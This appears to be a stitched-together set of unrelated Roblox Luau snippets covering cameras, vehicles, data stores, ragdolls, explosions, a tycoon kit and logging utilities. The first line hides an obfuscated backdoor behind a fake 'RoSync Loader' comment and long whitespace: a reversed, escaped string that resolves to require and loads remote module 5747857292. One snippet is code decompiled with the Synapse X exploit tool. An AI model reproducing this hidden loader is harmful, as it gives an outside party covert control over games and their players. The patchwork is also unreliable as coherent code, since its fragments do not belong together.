Roblox/luau_corpus huggingface dataset:
--[[ Last synced 12/17/2020 06:57 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[**
	<description>
	Unmark the data store as a backup data store and tell :Get() and reset values to nil.
	</description>
**--]]
function DataStore:ClearBackup()
	self.backup = nil
	self.haveValue = false
	self.value = nil
	self.getRawPromise = nil
end
-- Time it takes to tween between view switches:
local TWEEN_DURATION = 0.25


local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local ACOS = math.acos
local COS = math.cos
local SIN = math.sin
local RAND = math.random
local TAU = math.pi * 2


local CamLock = {}

local cam = game.Workspace.CurrentCamera
local plane
local seat

local currentViewIndex = 1
local currentView

local viewRotH = 0
local viewRotV = 0
local MAX_VIEW_ROT_V = math.rad(80)

local mobileDeviceBank = 0

local Damping = require(script:WaitForChild("Damping"))
local easing = require(script:WaitForChild("Easing"))

local dampCam = Damping.new()
local dampRot = Damping.new()
local dampShake = Damping.new()
	dampShake.P = 3
	dampShake.D = 0.05


local tweening = false
local tweenStart = 0
local tweenFromView = nil



local views = {
	
	-- Pivot:   Point around which camera rotates
	-- Offset:  Camera offset from pivot point
	-- Ease:    Ease function used when tweening into the view
	
	-- Third-person:
	{
		Pivot   = CF(0, 3.5, -1.1);
		Offset  = CF(0, 8, 40);
		Ease    = easing.outQuint;
	};

	-- First-person:
	{
		Pivot   = CF(0, 3.5, -1.1);
		Offset  = CF(0, 0, 0);
		Ease    = easing.outQuint;
	};
	
	-- Landing gear:
	{
		Pivot   = CF(0, -3.5, -0.5);
		Offset  = CF(0, 0, 0);
		Ease    = easing.outQuint;
	};
	
}
--Steering Gyro
SteeringGyro = Instance.new("BodyGyro")
SteeringGyro.Parent = bike.FrontSection.TripleTreeHinge
SteeringGyro.Name = "SteeringGyro"
SteeringGyro.D = _Tune.SteerD
SteeringGyro.MaxTorque = Vector3.new(0,0,0)
SteeringGyro.P = _Tune.SteerP
--FakeTorso.Massless = true
FakeTorso.Parent = Viewmodel
Viewmodel.PrimaryPart = FakeHumanoidRootPart
Viewmodel.WorldPivot = FakeHumanoidRootPart.CFrame+FakeHumanoidRootPart.CFrame.UpVector*5
Viewmodel.Parent = nil
local LeftShoulderClone = nil
local RightShoulderClone = nil
local RootHipClone = nil
--[[---------------- CONNECTIONS -----------------]]--

updateInputHoldEvent.OnServerEvent:Connect(onUpdateInputHoldEvent)
updateHoverObjectEvent.OnServerEvent:Connect(onUpdateHoverObjectEvent)
equippedGunIndexVal.Changed:Connect(function()
	onUpdateHoverObjectEvent(ply, mouseHoverObjectVal.Value or nil)
end)
downedVal.Changed:Connect(onDown)

local function dropAllParts()
	local parts = BMM.getCharacterCurrentHoldingParts(char)
	for _, partVal in pairs(parts) do
		BMM.dropPartFromInventory(char, partVal)
	end
end

local leaveConn = nil
local diedConn = nil

leaveConn = game.Players.PlayerRemoving:Connect(function(player)
	if ply ~= player then return end
	if leaveConn then leaveConn:Disconnect() end
	if diedConn then diedConn:Disconnect() end
	dropAllParts()
end)

diedConn = hum.Died:Connect(function()
	if leaveConn then leaveConn:Disconnect() end
	if diedConn then diedConn:Disconnect() end
	dropAllParts()	
end)
--[[
* Given two strings, compute a score representing whether the internal
* boundary falls on logical boundaries.
* Scores range from 6 (best) to 0 (worst).
* @param {string} one First string.
* @param {string} two Second string.
* @return {number} The score.
* @private
--]]
local function _diff_cleanupSemanticScore(one: string, two: string): number
	if #one == 0 or #two == 0 then
		-- Edges are the best.
		return 6
	end

	-- Each port of this function behaves slightly differently due to
	-- subtle differences in each language's definition of things like
	-- 'whitespace'.  Since this function's purpose is largely cosmetic,
	-- the choice has been made to use each language's native features
	-- rather than force total conformity.
	local char1 = strsub(one, -1)
	local char2 = strsub(two, 1, 1)
	local nonAlphaNumeric1 = strmatch(char1, "%W")
	local nonAlphaNumeric2 = strmatch(char2, "%W")
	local whitespace1 = nonAlphaNumeric1 and strmatch(char1, "%s")
	local whitespace2 = nonAlphaNumeric2 and strmatch(char2, "%s")
	local lineBreak1 = whitespace1 and strmatch(char1, "%c")
	local lineBreak2 = whitespace2 and strmatch(char2, "%c")
	local blankLine1 = lineBreak1 and strmatch(one, "\n\r?\n$")
	local blankLine2 = lineBreak2 and strmatch(two, "^\r?\n\r?\n")

	if blankLine1 or blankLine2 then
		-- Five points for blank lines.
		return 5
	elseif lineBreak1 or lineBreak2 then
		-- Four points for line breaks.
		return 4
	elseif nonAlphaNumeric1 and not whitespace1 and whitespace2 then
		-- Three points for end of sentences.
		return 3
	elseif whitespace1 or whitespace2 then
		-- Two points for whitespace.
		return 2
	elseif nonAlphaNumeric1 or nonAlphaNumeric2 then
		-- One point for non-alphanumeric.
		return 1
	end
	return 0
end
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	if not p1.Question then
		return;
	end;
	local l__gTable__1 = p1.gTable;
	local l__BaseClip__2 = script.Parent.Parent.BaseClip;
	local v3 = p1.Duration or p1.Timeout;
	local l__Frame__4 = l__BaseClip__2.Frame;
	l__Frame__4.Parent = l__BaseClip__2;
	l__Frame__4.Position = UDim2.new(0.5, -210, 0, -l__Frame__4.Size.Y.Offset);
	l__Frame__4.Visible = true;
	local l__Body__5 = l__Frame__4:WaitForChild("Body");
	local l__Options__6 = l__Body__5:WaitForChild("Options");
	local l__Confirm__7 = l__Options__6:WaitForChild("Confirm");
	local l__Cancel__8 = l__Options__6:WaitForChild("Cancel");
	l__Body__5:WaitForChild("Command").Text = p1.Subtitle and " ";
	l__Body__5.Ques.Text = p1.Question and "Unknown";
	l__Frame__4.Top.Title.Text = p1.Title and "Yes/No Prompt";
	l__Body__5.Options.Cancel.Text = p1.No and "No";
	l__Body__5.Options.Confirm.Text = p1.Yes and "Yes";
	l__gTable__1:Ready();
	local u1 = nil;
	function l__gTable__1.CustomDestroy()
		l__gTable__1.CustomDestroy = nil;
		l__gTable__1.ClearEvents();
		if u1 == nil then
			u1 = p1.No and "No";
		end;
		pcall(function()
			l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p2)
				if p2 == Enum.TweenStatus.Completed then
					l__Frame__4:Destroy();
				end;
			end);
			wait(0.3);
		end);
		l__gTable__1:Destroy();
	end;
	l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 0.5, -70), "Out", "Quint", 0.3, true);
	local u2 = nil;
	u2 = l__gTable__1.BindEvent(l__Confirm__7.MouseButton1Click, function()
		u2:Disconnect();
		l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p3)
			if p3 == Enum.TweenStatus.Completed then
				l__Frame__4:Destroy();
			end;
		end);
		u1 = p1.Yes and "Yes";
		wait(0.3);
		l__gTable__1:Destroy();
	end);
	local u3 = nil;
	u3 = l__gTable__1.BindEvent(l__Cancel__8.MouseButton1Click, function()
		u3:Disconnect();
		l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p4)
			if p4 == Enum.TweenStatus.Completed then
				l__Frame__4:Destroy();
			end;
		end);
		u1 = p1.No and "No";
		wait(0.3);
		l__gTable__1:Destroy();
	end);
	local v9 = tick();
	while true do
		wait();
		if u1 ~= nil then
			break;
		end;
		if v3 and v3 < tick() - v3 then
			break;
		end;	
	end;
	if u1 == nil then
		u1 = false;
	end;
	return nil;
end;
-- 	return moduleResult
-- end

return {
	-- Mock functions
	fn = function(...)
		return mock:fn(...)
	end,
	clearAllMocks = function()
		return mock:clearAllMocks()
	end,
	resetAllMocks = function()
		return mock:resetAllMocks()
	end,
	_mock = mock,
	-- Mock timers
	useFakeTimers = function()
		return fakeTimers:useFakeTimers()
	end,
	useRealTimers = function()
		return fakeTimers:useRealTimers()
	end,
	runAllTicks = function()
		return fakeTimers:runAllTicks()
	end,
	runAllTimers = function()
		return fakeTimers:runAllTimers()
	end,
	advanceTimersByTime = function(msToRun)
		fakeTimers:advanceTimersByTime(msToRun)
	end,
	runTimersToTime = function(msToRun)
		fakeTimers:advanceTimersByTime(msToRun)
	end,
	runOnlyPendingTimers = function()
		fakeTimers:runOnlyPendingTimers()
	end,
	advanceTimerstoNextTimer = function(steps)
		fakeTimers:advanceTimerstoNextTimer(steps)
	end,
	clearAllTimers = function()
		fakeTimers:clearAllTimers()
	end,
	getTimerCount = function()
		fakeTimers:getTimerCount()
	end,
	setSystemTime = function(now)
		fakeTimers:setSystemTime(now)
	end,
	getRealSystemTime = function()
		fakeTimers:getRealSystemTime()
	end,
	testEnv = {
		delay = fakeTimers.delayOverride,
		tick = fakeTimers.tickOverride,
		DateTime = fakeTimers.dateTimeOverride,
		os = fakeTimers.osOverride,
		-- require = requireOverride,
	},
	_fakeTimers = fakeTimers,
}
--[[

	symbol = Symbol.new(id: string [, scope: Symbol])

	Symbol.Is(obj: any): boolean
	Symbol.IsInScope(obj: any, scope: Symbol): boolean

--]]


local CLASSNAME = "Symbol"
--[[
	This is a test file to demonstrate how ragdolls work. If you don't use
	this file, you need to manually apply the Ragdoll tag to humanoids that
	you want to ragdoll
--]]

local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterPack = game:GetService("StarterPack")
local StarterPlayer = game:GetService("StarterPlayer")

script.KillScript.Parent = StarterPlayer.StarterCharacterScripts
script.RagdollMe.Parent = StarterPlayer.StarterCharacterScripts
--------------------- PLEASE DO NOT EDIT BELOW!!!


















local Auto_Load = true

local Auto_Save = true

local Save_On_Leave = true

local Stats = {"Kills"}

local StatsNotToSave = {"Helmet","Bandana","Headset","Glasses","PW"}



game.Players.PlayerAdded:connect(function(p)
	wait()
	local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
	for i = 1,#Stats do
		ODS:UpdateAsync(Stats[i], function(old)
			return old or 0
		end)
	end
	local l = Instance.new("Model", p)
	l.Name = "leaderstats"
	for i = 1,#StatsNotToSave do
		S = Instance.new("StringValue", l)
		S.Name = StatsNotToSave[i]
	end
	for i = 1,#Stats do
		S = Instance.new("NumberValue", l)
		S.Name = Stats[i]
		if Auto_Load then
			S.Value = ODS:GetAsync(Stats[i])
		end
		if Auto_Save then
			S.Changed:connect(function()
				ODS:SetAsync(Stats[i], S.Value)
			end)
		end			
	end
end)

if Save_On_Leave then
	game.Players.PlayerRemoving:connect(function(p)
		local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
		for i = 1,#Stats do
			stat = p.leaderstats:FindFirstChild(Stats[i]) 
			if stat then
				ODS:UpdateAsync(stat.Name, function(old)
					return stat.Value
				end)
			end
		end
	end)
end
--Spoiler
MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)
-- Right Arms
local RUA = character.UpperTorso:FindFirstChild("RightShoulderRigAttachment")
local RUARig = character.RightUpperArm:FindFirstChild("RightShoulderRigAttachment")
local RLA = character.RightUpperArm:FindFirstChild("RightElbowRigAttachment")
local RLARig = character.RightLowerArm:FindFirstChild("RightElbowRigAttachment")
local RH = character.RightLowerArm:FindFirstChild("RightWristRigAttachment")
local RHRig = character.RightHand:FindFirstChild("RightWristRigAttachment")
-------------------------
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Lime green")

R.Function2.Disabled = true

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--			local Destructible = ExplosionTouchPart:FindFirstChild("RocketDestructible")
--			if Destructible and Destructible.Value and RadiusFromBlast < BLAST_RADIUS then
--				Destructible.Value = false
--				
--				RunLocalEffect:FireAllClients("FadePart",ExplosionTouchPart)
--				Debris:AddItem(ExplosionTouchPart,3)
--			end
			
			local DeltaPos = ExplosionTouchPart.Position - Position
			local Normal = DeltaPos.magnitude == 0 and Vector3.new(0,1,0) or DeltaPos.unit
			local PartRadius = ExplosionTouchPart.Size.magnitude / 2
			local SurfaceArea = PartRadius * PartRadius
			
			--Set the velocity of the part.
			local Impulse = Normal * BLAST_PRESSURE * SurfaceArea * (1 / 4560)
			local Fraction = 1
			if IsInCharacter then
				Fraction = 1 - math.max(0, math.min(1,(RadiusFromBlast - 2) / BLAST_RADIUS))
			end				
			
			local CurrentVelocity = ExplosionTouchPart.Velocity
			local DeltaVelocity = Impulse / ExplosionTouchPart:GetMass()
			local BodyVelocity = Instance.new("BodyVelocity")
			BodyVelocity.Velocity = CurrentVelocity + DeltaVelocity
			BodyVelocity.Parent = ExplosionTouchPart
			
			local ForceNeeded = 196.2 * ExplosionTouchPart:GetMass()
			BodyVelocity.MaxForce = Vector3.new(ForceNeeded,ForceNeeded,ForceNeeded) * 10 * Fraction
			Debris:AddItem(BodyVelocity,0.2/FORCE_GRANULARITY)
			
			local RotImpulse = Impulse * 0.5 * RadiusFromBlast
			local CurrentRotVelocity = ExplosionTouchPart.RotVelocity
			local MomentOfInertia = (2 * ExplosionTouchPart:GetMass() * RadiusFromBlast * RadiusFromBlast/5) 
			local DeltaRotVelocity = RotImpulse / MomentOfInertia 
			local AngularVelocity = Instance.new("BodyAngularVelocity")
			local TorqueNeeded = 20 * MomentOfInertia
			AngularVelocity.MaxTorque = Vector3.new(TorqueNeeded,TorqueNeeded,TorqueNeeded) * 10 * Fraction
			AngularVelocity.AngularVelocity = CurrentRotVelocity + DeltaRotVelocity
			AngularVelocity.Parent = ExplosionTouchPart
			Debris:AddItem(AngularVelocity,0.2/FORCE_GRANULARITY)
		end
	end
	
	--Create the explosion.
	local Explosion = Instance.new("Explosion")
	Explosion.BlastPressure = 0
	Explosion.BlastRadius = BLAST_RADIUS
	Explosion.Position = Position
	Explosion.Hit:Connect(OnExplosionHit)
	Explosion.Parent = game.Workspace
	
	return Explosion
end

return ExplosionCreator
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.P			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
--[[local vehiclePart = vehicle.Undercarriage

local newForceField = Instance.new("Part")
newForceField.Name = "CarForceField"
newForceField.CanCollide = false
newForceField.Anchored = false
newForceField.Transparency = .5
newForceField.formFactor = "Custom"
newForceField.Size = vehicle:GetModelSize()*Vector3.new(.5, 1, .5)
newForceField.CFrame = vehicle:GetModelCFrame()
newForceField.Parent = vehicle

local newWeld = Instance.new("Weld")
newWeld.Part0 = newForceField
newWeld.Part1 = vehiclePart
newWeld.C1 = vehiclePart.CFrame:inverse() * (vehicle:GetModelCFrame() - vehicle:GetModelCFrame().p + vehiclePart.CFrame.p)
newWeld.Parent = vehiclePart
]]--

function vAbs(vect)
	return Vector3.new(math.abs(vect.X), math.abs(vect.Y), math.abs(vect.Z))
end

function clearToRespawn(modelToRespawn)
	if modelToRespawn:IsA("Model") then
		local diag = .9*vAbs(modelToRespawn:GetModelCFrame():vectorToWorldSpace(modelToRespawn:GetModelSize()/2))
		return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn:GetModelCFrame().p - diag, modelToRespawn:GetModelCFrame().p + diag), nil, 100) < 1
	elseif modelToRespawn:IsA("BasePart") then
		local diag = .9*vAbs(modelToRespawn.CFrame:vectorToWorldSpace(modelToRespawn.Size/2))
		return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn.CFrame.p - diag, modelToRespawn.CFrame.p + diag), nil, 100) < 1
	else
		return true
	end
end

function respawnIt(toRespawn, oldParent)
	wait(timeToRespawn)

	while not (clearToRespawn(toRespawn)) do wait() end

	-- we want things with vehicle seats to NOT be welded to ground
	if not toRespawn:FindFirstChild("VehicleSeat") then
		game.JointsService:SetJoinAfterMoveInstance(toRespawn)
	end
	toRespawn.Parent = oldParent
	toRespawn:MakeJoints()
	if not toRespawn:FindFirstChild("VehicleSeat") then
		game.JointsService:CreateJoinAfterMoveJoints()
	end
end

function isSmallerThanVehicle(robloxModel)
	if robloxModel == vehicle then return false end -- check ourselves, before we wreck ourselves

	if robloxModel:IsA("BasePart") then
		return robloxModel.Size.magnitude + 4 < vehicleSize
	elseif robloxModel:IsA("Model") then
		return robloxModel:GetModelSize().magnitude + 4 < vehicleSize
	else
		return false
	end
end

function onTouch(hit, direction)
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR

local TycoonName = "TEST TYCOON"

if game.Workspace:FindFirstChild(TycoonName) then
	local s = nil
	local bTycoon = game.Workspace:FindFirstChild(TycoonName)
	local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
	local new_Collector = zTycoon['READ ME'].Script:Clone()
	local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
	if zTycoon then
		for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
			if v then
				s = v.PurchaseHandler:Clone()
				v:Destroy()
			end
		end
		-- Now make it compatiable
		if s ~= nil then
			for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
				local New_Tycoon = v:Clone()
				New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
				s:Clone().Parent = New_Tycoon
				local Team_C = Instance.new('BrickColorValue',New_Tycoon)
				Team_C.Value = BrickColor.new(tostring(v.Name))
				Team_C.Name = "TeamColor"
				New_Tycoon.Name = v.TeamName.Value
				New_Tycoon.Cash.Name = "CurrencyToCollect"
				New_Tycoon.Parent = zTycoon.Tycoons
				New_Tycoon.TeamName:Destroy()
				v:Destroy()
				New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
				local n = new_Collector:Clone()
				n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
				n.Disabled = false
				New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
				local g = Gate:Clone()
				g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
			end
		else
			error("Please don't tamper with script names or this won't work!")
		end
	else
		error("Please don't change the name of our tycoon kit or it won't work!")
	end
	bTycoon:Destroy()
	Gate:Destroy()
	new_Collector:Destroy()
	print('Transfer complete! :)')
else
	error("Check if you spelt the kit's name wrong!")
end
-- ROBLOX deviation: console.log's name property is checked in SchedulerHostConfig.
-- But since Lua functions don't carry properties, we export this and import it there
-- for a reference equality.
exports.disabledLog = disabledLog

exports.disableLogs = function()
	if _G.__DEV__ then
		if disabledDepth == 0 then
			prevLog = console.log
			prevInfo = console.info
			prevWarn = console.warn
			prevError = console.error
			prevGroup = console.group
			prevGroupCollapsed = console.groupCollapsed
			prevGroupEnd = console.groupEnd

			console.info = disabledLog
			console.log = disabledLog
			console.warn = disabledLog
			console.error = disabledLog
			console.group = disabledLog
			console.groupCollapsed = disabledLog
			console.groupEnd = disabledLog
		end

		disabledDepth = disabledDepth + 1
	end
end

exports.reenableLogs = function()
	if _G.__DEV__ then
		disabledDepth = disabledDepth - 1

		if disabledDepth == 0 then
			console.log = prevLog
			console.info = prevInfo
			console.warn = prevWarn
			console.error = prevError
			console.group = prevGroup
			console.groupCollapsed = prevGroupCollapsed
			console.groupEnd = prevGroupEnd
		end

		if disabledDepth < 0 then
			console.error(
				"disabledDepth fell below zero. "
					.. "This is a bug in React. Please file an issue."
			)
		end
	end
end

return exports